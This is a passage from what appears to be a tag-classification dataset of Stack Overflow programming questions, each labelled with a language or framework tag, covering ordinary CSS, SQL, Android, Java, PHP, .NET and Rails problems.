&lt;div class= mdl-cell mdl-cell--4-col &gt;&lt;h3&gt;&lt;%= @book.title %&gt;&lt;/h3&gt; &lt;/div&gt;   &lt;%= render  chapters/index   chapters: @chapters %&gt;  &lt;p&gt; &lt;%= link_to  edit   edit_book_path(@book) %&gt; | &lt;%= link_to  back   books_path %&gt; &lt;/p&gt; </code></pre>,ruby-on-rails
getting values of each textbox with the same class inside the table row  how to get each value of textbox with the class <code>timeinhh1</code> inside the table row     i m using this code:   <pre><code>function validateonload() {     $( tr ).each(function () {         var timeinhh1 = $(this).children( .timeinhh1 ).val();         alert(timeinhh1);     }); } </code></pre>  <pre class= lang-html prettyprint-override ><code>&lt;table&gt;     &lt;tr&gt;         // th here     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;input type= text  class= timeinhh1  value= 9 &gt;&lt;/td&gt;         &lt;td&gt;&lt;input type= text  class= timeinhh2  value= 12 &gt;&lt;/td&gt;     &lt;/tr&gt;             &lt;tr&gt;         &lt;td&gt;&lt;input type= text  class= timeinhh1  value= 13 &gt;&lt;/td&gt;         &lt;td&gt;&lt;input type= text  class= timeinhh2  value= 14 &gt;&lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; </code></pre>   but it s not working  how to do it correctly  thanks in advance.,jquery
android  on touch listener and padding   as soon as i set padding on one of my image views  the click function does not work:   <pre><code>myimageview.setontouchlistener(new view.ontouchlistener() {         public boolean ontouch(view v  motionevent event) {             switch (event.getaction() &amp; motionevent.action_mask) {              //do stuff </code></pre>   any one know what i am doing wrong     the error is:    the jar file has no source attachment  you can add a source by clicking below. this happens when you click.,android
css ul is divided into three columns  there is one monolithic data block of the ul. how to use css to split a list of ul with multiple li lvl1 into three columns with the same height   each li has different heights. the number of li blocks is always different.   <pre><code>&lt;div class= div_list &gt;     &lt;ul class= list &gt;         &lt;li class= list_li &gt;...&lt;/li&gt;         &lt;li class= list_li &gt;...&lt;/li&gt;         &lt;li class= list_li &gt;...&lt;/li&gt;         &lt;li class= list_li &gt;             &lt;ul&gt;                 &lt;li class= list_li_lvl2 &gt;...&lt;/li&gt;                 &lt;li class= list_li_lvl2 &gt;...&lt;/li&gt;             &lt;/ul&gt;         &lt;/li&gt;         &lt;li class= list_li &gt;...&lt;/li&gt;         &lt;li class= list_li &gt;...&lt;/li&gt;         &lt;li class= list_li &gt;...&lt;/li&gt;     &lt;/ul&gt; &lt;/div&gt; </code></pre>   <a href= https://i.stack.imgur.com/brdyp.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/brdyp.png  alt= enter image description here ></a>    <strong>edit:</strong> i m close to the answer  but lvl2 goes to the next column.    <strong>edit 2:</strong>  solution found <a href= http://jsfiddle.net/tmlepm4w/5/  rel= nofollow noreferrer >demo</a>,css
need solution for sql query  my sql query is     <pre><code>select      t.tax_name a.tax_amt_id a.tax_map_id a.effective_from  from      mas_tax t    inner join       mas_tax_map m on t.tax_id = m.tax_id  left outer join      mas_tax_amount a on m.tax_map_id = a.tax_map_id  where       effective_from &lt;= getdate()              </code></pre>   i am getting output for the above query is:   <pre><code>tax_name    tax_amt_id  tax_map_id  effective_from ------------------------------------------------------- income tax  12     5        02-06-2014 service tax 16     4        02-06-2014 gift tax    3      1        29-05-2014 gift tax    2      1        28-05-2014 gift tax    4      1        27-05-2014 </code></pre>   but i need to get below output. can any one help me     <pre><code>tax_name    tax_amt_id  tax_map_id  effective_from ------------------------------------------------------- income tax  12     5        02-06-2014 service tax 16     4        02-06-2014 gift tax    3      1        29-05-2014 </code></pre>,sql
how to randomly assign text to jbuttons from string array (without duplicates)  i m making a  who wants to be a millionaire  type of quiz game for a university assignment but i can t find a way to randomly assign the 4 answer strings in my string array to my 4 answer jbuttons without duplicates.  i ve tried a few solutions that i found online and the best i managed to do was randomly set the text but with a chance for a duplicate (a fairly high chance of course as there s only 4 strings).      can anyone help    <pre><code> if (currentgkqnum &lt;=9){                 currentquestion = game.getgkquestion(currentgkqnum); //gets a question object at the index specified by currentgkqnum                 questionlabel.settext(currentquestion.getquestion()); //gets the actual question string from the question object and assigns it to question label                 currentgkqnum += 1;             }              else{                 questionlabel.settext( end of general knowledge questions );             }              string[] answers = new string[] {currentquestion.getanswer1() currentquestion.getanswer2() currentquestion.getanswer3() currentquestion.getcorrectanswer()};              answer1button.settext(//need random string from answers[] here)             answer2button.settext(//need random string from answers[] here)             answer3button.settext(//need random string from answers[] here)             answer4button.settext(//need random string from answers[] here) </code></pre>,java
jquery toggling between two interface states  need your help. i m trying to create a page that has two ui states. want i want is a function that when called toggles between them     hopefully that s clear enough for some guidance.    thanks   <pre><code>function toggleuichange () { jquery stuff for inital state  { jquery stuff for other state} } </code></pre>,jquery
how does an android program understands which class or/and activity to call first   as i am new to android programming  <strong>i don t know how to call a certain class and/or certain activity first.</strong>    <em>for example i have two classes viz. 1) <code>login.java</code>  2) <code>create.java</code> and two xml files associated with them are <code>activity_main.xml</code> and <code>create_new.xml</code> respectively.</em> so how can i make <code>login.java</code> run first with <code>activity_main.xml</code> as screen,android
centering a 100% dynamic image within a div  having some problems centering a 100% image inside a div on a responsive site i am trying to build.    tried margin:auto and text-align:center....    are there any other options to center a image within a div  or even the div. where the actual width of the div isn t specified    <pre><code>&lt;div class= hoods &gt;&lt;a href= http://example.com.com/hoods &gt;&lt;img    src= http://example.com.com/image/data/home page  /hoods.jpg  &gt;&lt;/a&gt;&lt;/div&gt;  .hoods { float: left; margin-bottom: 20px; width: 96%; }  .hoods &gt; a &gt; img { border-style: solid; border-width: 10px; max-height: 236px; max-width: 92.5%; } </code></pre>,css
how can we dynamically add only 20 images from webservice in the grid view  i want 20 images on one page and upon clicking on the next button  i will get another images on the same page. that means  like in email programs  we have  older  &amp;  oldest  by clicking  older  we will get the next emails. same way i want images here by xml parser.   <pre><code>gridview gview = (gridview)findviewbyid(r.id.gridview); btnnext = (button)findviewbyid(r.id.btnnext); btnprevious = (button)findviewbyid(r.id.btnprevious); adap = new efficientadapter(this); gview.setadapter(adap);  btnnext.setonclicklistener(new onclicklistener() {      @override     public void onclick(view v) {         // todo auto-generated method stub         adap.notifydatasetchanged();/*asking for create notifydatasetchanged()*/          efficientadapter adap = new efficientadapter(this);/* shows the error and asking for create constructor  efficientadapter(onclicklistener)*/         gview.setadapter(adap);     } }); </code></pre>,android
linked list insert after  i am a student just learning java. i have a big test tomorrow and i am a confused by a certain line of code.    the method  insertafter  finds the number in the linkedlist passed into the method and inserts a new node after the match. i do not understand how    <pre><code> curr.setnext(curr.getnext())  </code></pre>   will take us to the next node in the list that potentially could be the number we are looking for. so how does this command iterate us through the linked list      does it not make more sense to go curr=curr.getnext()     thanks and sorry if this is very simple... i am very confused at the moment   <pre><code>// assume firstinlist is in the list public void insertafter(int firstinlist  node toadd){     node curr = head;      while( curr.getdata() != firstinlist ){         curr.setnext(curr.getnext());     }      curr.setnext(toadd);         }      node class   {    int getdata() {return data};    void setdata(int data) {this.data =data};    node getnext() {return next};    void setnext(node next) {this.next = next};   } </code></pre>   }    <strong>additional method</strong> the method is called    <pre><code>   public void insertbefoe (node  inlist  node toadd) </code></pre>,java
css issue for a.selected  i have a question about how to modify the color of a link that has been selected. <a href= http://www.northernvirginiapaintingcontractors.com  rel= nofollow >http://www.northernvirginiapaintingcontractors.com</a>  click  contact us  then 1 of the links.    i can t determine why this color changes to purple.  if anyone can see this i would appreciate it.    i think that this has something to do with either of these definitions:   <pre><code>.contactmenu li a:link { /*float: left;*/ text-decoration: none; color: #a6bdcb;     }   .contactmenu li a:hover  .contactmenu li a.selected {                  /*color: #b6b6b6;*/ color: #a6bdcb; text-decoration: underline; } </code></pre>   here is the complete related css:    <pre><code>.contactblocktheme {                     /*border:5px solid #cd0000;*/ padding:0;                                  }  .contactblocktheme p { padding: 1px 1px 1px 2px; font-family: arial; font-size: 13px; /*background-color: navy;*/ width: auto; }  .contactblocktheme {                     /*border:5px solid #cd0000;*/ padding:0;                                  }  .contactblocktheme p { padding: 1px 1px 1px 2px; font-family: arial; font-size: 13px; /*background-color: orange;*/ width: auto; }  .contactblocktheme .column { padding: 6px 3px 0 0; font-family: arial black; font-size: 12px; /*background-color: olive;*/ }  .contactmenu { width:122px;        /*padding:10px;*/ position:absolute; visibility:hidden; border:1px solid #d7d7d7; border-top-width:1px; /*background-color: yellow;*/ -webkit-box-shadow: 5px 5px 5px #c8c8c8;     -moz-box-shadow: 5px 5px 5px #c8c8c8; /*box-shadow: 5px 5px 5px #c8c8c8;*/ }  .contactmenu .column {        float:left; text-align:left; /*background-color:#4f4d4d;*/ background-color: #d7d7d7; }  .contactmenu .column ul { margin: 0 0 0 4px; padding: 0 0 0 0; list-style:none; }  .contactmenu .column ul li { margin-bottom: 7px; }   .contactmenu a{ }  .contactmenu li a:link { /*float: left;*/ text-decoration: none; color: #a6bdcb;     }   .contactmenu li a:hover  .contactmenu li a.selected {                  /*color: #b6b6b6;*/ /*color: #a6bdcb;*/ text-decoration: underline; } </code></pre>,css
.net notification when a process has been killed  my .net application is starting a second process with process.start( .\path\to\process.exe ) is there a way to get notified when this process is killed by another process during the execution,.net
display image thumbnail by reading path from table and retrieving the image from folder  i would be grateful if anybody could help me out with this.     i have a table which stores the filepath of a set of images  e.g col filepath stores values like: ./phpimages/image3.jpg. note that my images are stored in folder  phpimages     now i want to loop through all the rows in my table and display thumbnails of the images.    here is my code:    /   <pre><code>*************************display all records from images table***************/ //create an instance is image $objimage = new image;  $result = $objimage -&gt; listimage(); $num_rows = mysql_num_rows($result); //echo $num_rows. records in database ;   while($row = mysql_fetch_assoc($result)){  $imagepath=   .$row[ filepath ].   ; // note that if i put $imagepath=  dog.jpg   it displays the image just once!   //set mime type content header( content-type: image/jpeg );   //create original image $image = imagecreatefromjpeg($imagepath);  //get image dimension $dim=getimagesize($imagepath);   //set thumb dimension $thumbw = 100; $thumbh = 130;  //create empty image $thumb_image=imagecreatetruecolor($thumbw  $thumbh);  //resize original image and copy it to thumb image imagecopyresampled($thumb_image  $image  0  0  0  0                      $thumbw  $thumbh  $dim[0]  $dim[1]);   //display thumb image imagejpeg($thumb_image); }   &gt; </code></pre>   please can anyone tell me where my error lies  many thanks for any help provided,php
vertically align elements using css  i just want to vertically align elements in my header. that would be really easy with tables but can t figure how to do it with css. i want to vertically align all 3 elements withing the black bar :  logo    rechercher  and the text input.    here is the css:   <pre><code>body { margin:0; padding:0; font-size:100%; }  #header { background-color:#303030; height:3em; }  #logo { color:#eeeeee; font-size:2em; line-height:1.5em; padding:0 30px 0px 10px; display:inline; }  #recherche { color:#eeeeee; font-size:1.5em; display:inline; }  #recherche input { width:300px; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius:4px; } </code></pre>   and the html :   <pre><code>&lt;!doctype html&gt; &lt;html&gt;   &lt;head&gt;   &lt;title&gt;test&lt;/title&gt;   &lt;link rel= stylesheet  type= text/css  href= css/mainframe.css &gt;  &lt;/head&gt;  &lt;body&gt;   &lt;div id= header &gt;     &lt;div id= logo &gt;logo&lt;/div&gt;     &lt;form id= recherche  action= /  autocomplete= off &gt;     &lt;label for= rechercher &gt;rechercher&lt;/label&gt;     &lt;input type= text  name= recherche &gt; &lt;/form&gt;   &lt;/div&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>,css
appending to a file with ofstream  i have a problem with appending a text to a file. i open an <code>ofstream</code> in append mode  still instead of three lines it contains only the last:   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;string&gt;  using namespace std;  int main() {     ofstream file( sample.txt );     file &lt;&lt;  hello  world!  &lt;&lt; endl;     file.close();      file.open( sample.txt   ios_base::ate);     file &lt;&lt;  again hello  world!  &lt;&lt; endl;     file.close();      file.open( sample.txt   ios_base::ate);     file &lt;&lt;  and once again - hello  world!  &lt;&lt; endl;     file.close();      string str;     ifstream ifile( sample.txt );     while (getline(ifile  str))         cout &lt;&lt; str; }  // output: and once again - hello  world! </code></pre>   so what s the correct <code>ofstream</code> constructor for appending to a file,c++
span with display block  what is the difference between the default <code>&lt;div&gt;</code> tag and the default <code>&lt;span&gt;</code> tag with  display: block,css
error: request for member  a  in something not a structure or union  i am passing pointer to pointer to <code>typedef struct</code> to the function. when i try to change the content of <code>typedef struct</code>  it gives me following error:    <blockquote>    request for member  a  in something not a structure or union   }  </blockquote>   the code:   <pre><code>typedef struct _tempstruct {     int a;     int b; }tempstruct;  void _function(tempstruct ** param) {     tempstruct *temp = *param;     temp -&gt; a = 5; //no error     *param -&gt; a = 6; //error: request for member  a  in something not a structure or union } </code></pre>   <a href= http://ideone.com/57sobt  rel= nofollow >here is the link of code on ideone</a>.    what i am missing,c
upgrade new version app in swift without app store  i need to upload a new version of ios  application in to my web server . but i can t know how can       and how can create code for download new version      can you help me   thanks,ios
how do i get a textarea to span two columns of a table  so i m learning some php and found my html skills more then a little rusty. i m trying to get my textarea to span two table columns. w3schools says i can do a colspan for a <code>&lt;th&gt;</code> tag but didn t see if it was supported for <code>&lt;td&gt;</code>. i thought about splitting it between two tables same form. seems like there would be an easier way to do this. i did try td colspan 2  but it didnt do anything   <pre><code>   echo  &lt;form action=   . $_server[ php_self ] .    method= post  id= crud_form &gt; ;    echo  &lt;table id= table_articles &gt; ;    echo  &lt;tr&gt;&lt;td&gt;article title:&lt;/td&gt;&lt;td&gt; &lt;input type= text  name= art_title  /&gt;&lt;/td&gt;&lt;/tr&gt; ;    echo  &lt;tr&gt;&lt;td&gt;author:&lt;/td&gt;&lt;td&gt; &lt;input type= text  name= author  /&gt;&lt;/td&gt;&lt;/tr&gt; ;    echo  &lt;tr&gt;&lt;td&gt;date posted:&lt;/td&gt;&lt;td&gt; &lt;input type= text  name= d_posted  /&gt;&lt;/td&gt;&lt;/tr&gt; ;    echo  &lt;tr&gt;&lt;td&gt;article text:&lt;/td&gt;&lt;/tr&gt; ;    echo  &lt;tr&gt;&lt;td&gt;&lt;textarea rows= 10  columns= 60  name= art_text  &gt;&lt;/textarea&gt;&lt;/td&gt;&lt;/tr&gt; ;    echo  &lt;tr&gt;&lt;td&gt;&lt;input type= submit  name= submit_art  value= submit  /&gt;&lt;/td&gt;&lt;/tr&gt; ;    echo  &lt;/table&gt; ;    echo  &lt;/form&gt; ; </code></pre>   the css   <pre><code>   #crud_form    {    color:red;    position:absolute;    left:300px;    top:200px;    border-style:outset;    border-width:5px;    border-color:red;    background-color:#cccccc;    }     #table_articles    {    color:red;    width:450px;    height:300px;    } </code></pre>   thoughts  thanks for the help.,html
in angular how to redirect without history in $state  how do i do this in $state   <pre><code>$location.path( /somenewpath ).replace(); </code></pre>   i basically want to redirect without the url showing up in history,angularjs
delegates and events in interface   can we implement delegates and events in interface,.net
.net framework bug: system.net.mail.attachmentbase disposes of streams it did t create  before submitting this as a bug  i wanted to get community feedback to see if this should be considered a bug.    when creating a <code>linkedresource</code> or other class that derives from <code>attachmentbase</code>  there are constructor overloads that take either a <a href= https://referencesource.microsoft.com/#system/net/system/net/mail/attachment.cs 0a9d3f581698a5b7 references  rel= nofollow noreferrer >file name</a> or a <a href= https://referencesource.microsoft.com/#system/net/system/net/mail/attachment.cs 5072a46ba8103c1e references  rel= nofollow noreferrer ><code>stream</code></a>. when given a file name  <code>attachmentbase</code> internally creates a <code>filestream</code> and assigns it the private <code>mimepart part</code> content using <code>mimepart.setcontent(stream)</code>. when creating an <code>attachmentbase</code> using the constructor that takes a <code>stream</code>  it directly assigns the underlying content to this <code>stream</code>.    when the <code>attachmentbase</code> is <a href= https://referencesource.microsoft.com/#system/net/system/net/mail/attachment.cs 546805343337df9b references  rel= nofollow noreferrer >disposed</a>  it internally disposes of the <code>mimepart</code>  which internally disposes of the <code>stream</code> content. if the constructor taking a <code>stream</code> was used  this <code>mimepart</code> class just disposed of a <code>stream</code> it did not create! this bug is a side effect. disposing of objects that a class/method doesn t own makes it impossible to reuse that object later. when creating a disposable object  that object should be able to be disposed before it is garbage collected. this allows it to free up resources like file handles captured by <code>filestreams</code>.    suppose you need to send out a lot of emails  and each email has one image. the image is very large  and all the emails use this same exact image. you should be able to read this file into a <code>memorystream</code>  and reuse this <code>stream</code> for the <code>linkedresource</code> in each email. this would allow little disk read and low memory usage. <code>dispose()</code> is invoked on each message and its resources to free up any handles and unmanaged memory once the message is sent. (again  if it implements <code>idisposable</code>  it should be able to be disposed as soon as it s no longer needed. the code that called <code>dispose()</code> should always be the same code that created the object.) because this <code>dispose()</code> method is not implemented correctly  it just disposed the underlying <code>stream</code> to the image that it did not create. when subsequent messages try to use this <code>stream</code>  they will throw an <code>objectdisposedexception</code>.    a temporary workaround for this bug is to copy the <code>memorystream</code> for each message  and use the copied <code>streams</code>. this still results in little disk read  but now the large image is copied a bunch of times in memory.    this could have all been avoided by following correct patterns and practices and allowing the code that created the <code>stream</code> to be the one to dispose of it  and not assuming it would only be used once. here is a fix for this bug. the code should replace the similar methods. this allows <code>mimepart</code> to be backward compatible. the change to <code>attachmentbase</code> may be a breaking change for code that passes in a <code>stream</code>. the fix is to handle the <code>stream</code> you pass in by disposing of it yourself properly.   <pre><code>public abstract class attachmentbase : idisposable {     mimepart part;      protected attachmentbase(stream contentstream)     {         part.setcontent(contentstream  true);     }      protected attachmentbase(stream contentstream  string mediatype)     {         part.setcontent(contentstream  null  mediatype  true);     }      internal attachmentbase(stream contentstream  string name  string mediatype)     {         part.setcontent(contentstream  name  mediatype  true);     }      protected attachmentbase(stream contentstream  contenttype contenttype)     {         part.setcontent(contentstream  contenttype  true);     } }  internal class mimepart : mimebasepart  idisposable {     private bool _keepopen;      internal void setcontent(stream stream  bool keepopen = false)     {         if (stream == null)         {             throw new argumentnullexception( stream );         }          if (streamset &amp;&amp; !_keepopen)         {             this.stream.dispose();         }          this.stream = stream;         streamset = true;         streamusedonce = false;         transferencoding = transferencoding.base64;         _keepopen = keepopen;     }      internal void setcontent(stream stream  string name  string mimetype  bool keepopen = false)     {         if (stream == null)         {             throw new argumentnullexception( stream );         }          if (!string.isnullorempty(mimetype))         {             contenttype = new contenttype(mimetype);         }          if (!string.isnullorempty(name))         {             contenttype.name = name;         }          setcontent(stream  keepopen);     }      internal void setcontent(stream stream  contenttype contenttype  bool keepopen = false)     {         if (stream == null)         {             throw new argumentnullexception( stream );         }          this.contenttype = contenttype;         setcontent(stream  keepopen);     }      public void dispose()     {         if (stream != null &amp;&amp; !_keepopen)         {             stream.dispose();         }     } } </code></pre>,.net
month regex problem in php. validation problem <pre><code>function preveridatum($string) {        if (preg_match( ^(3) ( (1)[0-1]|(0) ( (2)[1-9]|[12][0-9]))\.(0) ( (3)[1-9]|1[0-2])\.[1-9][0-9]{3}$^   $string))          return true;     else          return false; } </code></pre>   is valid for 13.01.2010 but not for 13.1.2010. can i aso make it valid for 13.1.2010,php
issue with redirect_to - ruby on rails  this issue has been driving me nuts for a few days now. it doesn t help that i am newbie to rails and not done any programming for many years!    i have written a little application that allows the user to login with facebook or github and this part works well. however when it comes to the sign out part i get an error - the page you were looking for doesn t exist.    the sign out link does this:-   <pre><code>&lt;li class= nav-item pull-right add-space &gt;&lt;%= link_to  sign out    sign_out   method: :delete  class:  nav-link  %&gt;&lt;/li&gt; </code></pre>   routes.rb is:-   <pre><code>rails.application.routes.draw do  root  home#index   get  home/profile   get  auth/:provider/callback   to:  sessions#create   delete  sign_out   to:  sessions#destroy   as:  sign_out  end </code></pre>   and the sessions controller does this:-   <pre><code>def destroy  session[:user_id] = nil  session[:omniauth] = nil  redirect_to root_url  alert:  signed out  end </code></pre>   it is the last line that is causing me an issue and i have tried numerous things to get it to go back to where it needs to be. when i am signing out the url path in the browser address bar is  /home/profile  and the behaviour i am seeing when the error occurs is that the address bar changes to  home/sign_out . in the heroku log i am  seeing the following error:-   <pre><code>actioncontroller::routingerror (no route matches [delete]  /home/sign_out ): </code></pre>   i have tried various different routing options on this line:-   <pre><code>redirect_to root_url  alert:  signed out  </code></pre>   but none have been successful; i thought redirecting to the route url could be done anywhere and is the behaviour i need as users could sign out from wherever they are in the application.    if i do sign out from the top level of the application (e.g. <a href= https:///mysite.com/  rel= nofollow noreferrer >https:///mysite.com/</a>  it works fine.    any help please     thanks,ruby-on-rails
angularjs access last entity of a $resource from controller  how do i get the at the last entity of a rest resource from within the controller     i have a factory that restuens a $resource:   <pre><code>angular.module( foo   [ ngresource ]). factory( api   [ $resource      function($resource) {     return {         bars: $resource( url/.../   {})         .         .         //other resources         .         }; }]); </code></pre>   i would like to remove the last elemet this resource returns  but i do not know how to reference this element e.g.   <pre><code>function barcontrol($scope  $http  api) {    api.bar.remove(api.bar[lastidx]  [success]  [failure]);    $scope.bar = api.bars.query();   ....    //do stuff </code></pre>   how do i make the api.bar.lastidx statement     thank youin advance for any help.,angularjs
cgimagegetcolorspace and image mask  as reported from documentation from apple:   <blockquote>     cgimagegetcolorspace-> the source color space for the specified bitmap image  or null if the image is an image mask   </blockquote>   i need to create an image mask  tried with black and white bitmap and many other format  but the function returns like the image is a rgb (without alpha).    what kind of image can i pass to have <code>cgimagegetcolorspace</code> return <code>null</code> (image mask)     if i make a grayscale image and loaded as were an alpha channel (creating context as 8bit/grayscale) the image is totally white.    any ideas     this is the code of example  texture2d :   <pre><code>@implementation texture2d (image)  - (id) initwithimage:(uiimage *)uiimage { nsuinteger    width     height     i; cgcontextref   context = nil; void*     data = nil;; cgcolorspaceref   colorspace; void*     tempdata; unsigned int*   inpixel32; unsigned short*   outpixel16; bool     hasalpha; cgimagealphainfo  info; cgaffinetransform  transform; cgsize     imagesize; texture2dpixelformat    pixelformat; cgimageref    image; uiimageorientation  orientation; bool     sizetofit = no;   image = [uiimage cgimage]; orientation = [uiimage imageorientation];   if(image == null) { [self release]; nslog(@ image is null ); return nil; }   info = cgimagegetalphainfo(image); hasalpha = ((info == kcgimagealphapremultipliedlast) || (info ==    cgimagealphapremultipliedfirst) || (info == kcgimagealphalast) || (info == kcgimagealphafirst)   yes : no); if(cgimagegetcolorspace(image)) { if(hasalpha) pixelformat = ktexture2dpixelformat_rgba8888; else pixelformat = ktexture2dpixelformat_rgb565; } else  //note: no colorspace means a mask image pixelformat = ktexture2dpixelformat_a8; </code></pre>,objective-c
self referencing sql query when condition is met  i m trying to create a sql query to return the column values from a table that meet certain criteria.    currently i have used the concat function to join the first and last names into a single column in the query result for employees that have the role of  programmer .   <pre><code>select     person.id  concat(person.firstname      person.lastname) as fullname  from      person  role  where      person.role_id = role.id and role.name =  programmer  </code></pre>   this successfully runs and returns all programmers from the tables. notice in my table structure i have an <code>actingas_id</code> column. this is the key to another person.id for people who are working on behalf of another people whilst they re on leave from work.    thus  we arrive at my question: how do i modify the sql query such that when a person is <strong>acting</strong> that the query retrieves the first and last name of this person as well as the person who s  shoes are being filled      <br/>    my table structure is as follows:    <b>person:   </b> id  |  firstname   |   lastname   | role_id   |   actingas_id |    <b>role:   </b> id  |  name   |   <pre><code>+----+-----------+----------+---------+-------------+ | id | firstname | lastname | role_id | actingas_id | +----+-----------+----------+---------+-------------+ |  1 | john      | smith    |       1 |           0 | |  2 | kevin     | tull     |       2 |           1 | |  3 | michael   | woods    |       1 |           0 | +----+-----------+----------+---------+-------------+ </code></pre>   <br/> here kevin is acting for for john  and michael is also a programmer  so the result of my query should be: <br/>   <pre><code>+----+-------------------------+ | id |          name           | +----+-------------------------+ |  1 | john smith - kevin tull | |  3 | michael woods           | |  x | other programmers..     | +----+-------------------------+ </code></pre>,sql
action menu items text color when long clicking tasks/recents button of the device  i have successfully changed the text color of my menu item when clicking on the top right triple colon.    <a href= https://i.stack.imgur.com/gvsmc.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/gvsmc.png  alt= enter image description here ></a>    this was at first white text too but i managed to change it using the toolbar theme. but it occurs differently when long clicking the tasks button of the devices. it appears in bottom plus my menu item is white.    <a href= https://i.stack.imgur.com/m3fdb.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/m3fdb.png  alt= enter image description here ></a>    i did lots of textcolor changing on my base theme but all did not work    <b>styles.xml</b>   <pre><code>&lt;resources&gt;  &lt;!-- base application theme without actionbar. --&gt; &lt;style name= apptheme.base  parent= theme.appcompat.light.noactionbar &gt;     &lt;!-- set color of the toolbar --&gt;     &lt;item name= colorprimary &gt;@color/colorprimary&lt;/item&gt;     &lt;!-- set color of the statusbar --&gt;     &lt;item name= colorprimarydark &gt;@color/colorprimarydark&lt;/item&gt;     &lt;!-- set color of the accent --&gt;     &lt;item name= coloraccent &gt;@color/coloraccent&lt;/item&gt;       &lt;item name= android:textcoloralertdialoglistitem &gt;@color/primary_text&lt;/item&gt;     &lt;item name= android:actionmenutextcolor &gt;@color/primary_text&lt;/item&gt;     &lt;item name= android:textcolorprimary &gt;@color/primary_text&lt;/item&gt;     &lt;item name= android:textcolorsecondary &gt;@color/primary_text&lt;/item&gt;     &lt;item name= android:textcolor &gt;@color/primary_text&lt;/item&gt; &lt;/style&gt;   &lt;style name= apptheme.normal  parent= apptheme.base &gt;     &lt;!-- set color of the toolbar --&gt;     &lt;item name= colorprimary &gt;@color/colorprimary&lt;/item&gt;     &lt;!-- set color of the statusbar --&gt;     &lt;item name= colorprimarydark &gt;@color/colorprimarydark&lt;/item&gt;     &lt;!-- set color of the accent --&gt;     &lt;item name= coloraccent &gt;@color/coloraccent&lt;/item&gt;       &lt;item name= android:textcolorprimary &gt;@color/primary_text&lt;/item&gt;     &lt;item name= android:textcolorsecondary &gt;@color/primary_text&lt;/item&gt;     &lt;item name= android:textcolor &gt;@color/primary_text&lt;/item&gt; &lt;/style&gt;  &lt;!-- app theme no action bar --&gt; &lt;style name= apptheme  parent= apptheme.base &gt;     &lt;!-- customize your theme here. --&gt; &lt;/style&gt;  &lt;!-- toolbar theme --&gt; &lt;style name= toolbartheme  parent= themeoverlay.appcompat.light &gt;     &lt;item name= android:textcolorprimary &gt;@color/white&lt;/item&gt;     &lt;item name= android:textcolorsecondary &gt;@color/white&lt;/item&gt;     &lt;item name= android:textcolor &gt;@color/primary_text&lt;/item&gt; &lt;/style&gt;  &lt;!-- app alert dialog theme --&gt; &lt;style name= apptheme.alertdialog  parent= theme.appcompat.light.dialog.alert &gt;     &lt;item name= coloraccent &gt;@color/coloraccent&lt;/item&gt; &lt;/style&gt;  &lt;!-- app design tab layout --&gt; &lt;style name= apptheme.sampletablayout  parent= widget.design.tablayout &gt;     &lt;item name= tabindicatorcolor &gt;@android:color/white&lt;/item&gt;     &lt;item name= tabindicatorheight &gt;@dimen/tabindicatorheight&lt;/item&gt;     &lt;item name= tabselectedtextcolor &gt;@android:color/white&lt;/item&gt;     &lt;item name= android:layout_height &gt;wrap_content&lt;/item&gt;     &lt;item name= android:layout_width &gt;match_parent&lt;/item&gt; &lt;/style&gt;   &lt;!-- tab text appearance --&gt; &lt;style name= apptheme.sampletablayout.textappearance  parent= textappearance.design.tab &gt;     &lt;item name= android:textcolor &gt;@android:color/white&lt;/item&gt;     &lt;item name= android:padding &gt;0dp&lt;/item&gt;     &lt;item name= android:textallcaps &gt;true&lt;/item&gt; &lt;/style&gt;  &lt;!-- tablayout --&gt; &lt;style name= apptheme.tablayout  parent= widget.design.tablayout &gt;     &lt;item name= tabindicatorcolor &gt;@color/colorprimary&lt;/item&gt;     &lt;item name= tabindicatorheight &gt;@dimen/tabindicatorheight&lt;/item&gt;     &lt;item name= tabselectedtextcolor &gt;@android:color/white&lt;/item&gt;     &lt;item name= android:layout_height &gt;wrap_content&lt;/item&gt;     &lt;item name= android:layout_width &gt;match_parent&lt;/item&gt; &lt;/style&gt;  &lt;!-- tab text appearance --&gt; &lt;style name= apptheme.tablayout.textappearance  parent= textappearance.design.tab &gt;     &lt;item name= android:textcolor &gt;@android:color/white&lt;/item&gt;     &lt;item name= android:padding &gt;0dp&lt;/item&gt; &lt;/style&gt;  &lt;style name= apptheme.appbaroverlay  parent= themeoverlay.appcompat.dark.actionbar  /&gt;  &lt;style name= apptheme.popupoverlay  parent= themeoverlay.appcompat.light  /&gt;  &lt;!-- tab text appearance --&gt; &lt;style name= apptheme.kenzaiprogressbar.indeterminate  parent= widget.appcompat.progressbar &gt;     &lt;item name= android:indeterminatedrawable &gt;@drawable/kenzai_animated_image_load&lt;/item&gt;     &lt;item name= android:layout_width &gt;@dimen/kenzai_progressbar_width_and_height&lt;/item&gt;     &lt;item name= android:layout_height &gt;@dimen/kenzai_progressbar_width_and_height&lt;/item&gt;     &lt;item name= android:indeterminate &gt;true&lt;/item&gt; &lt;/style&gt; </code></pre>       how do i fix this     <b>edit:</b> searching for a clear definition of the tasks/recents button of the device  found this <a href= https://android.stackexchange.com/questions/32697/what-is-the-offical-name-of-the-third-on-screen-button >https://android.stackexchange.com/questions/32697/what-is-the-offical-name-of-the-third-on-screen-button</a>,android
handling uitextview touch event when touch up a word in it  i have a <code>uitextview</code> which display a paragraph. for example:   <pre><code>self.mytextview.text = @ this is a sample paragraph  </code></pre>   what i want to do now is when i touch up a word in this paragraph  such as  this   a function will be call: <code>[self afunction:@ this ]</code>    are there any ideas for handling this event and the way to get the parameter  which is the word  user touched. maybe  i need other way to display the paragraph  not by a <code>uitextview</code>.,iphone
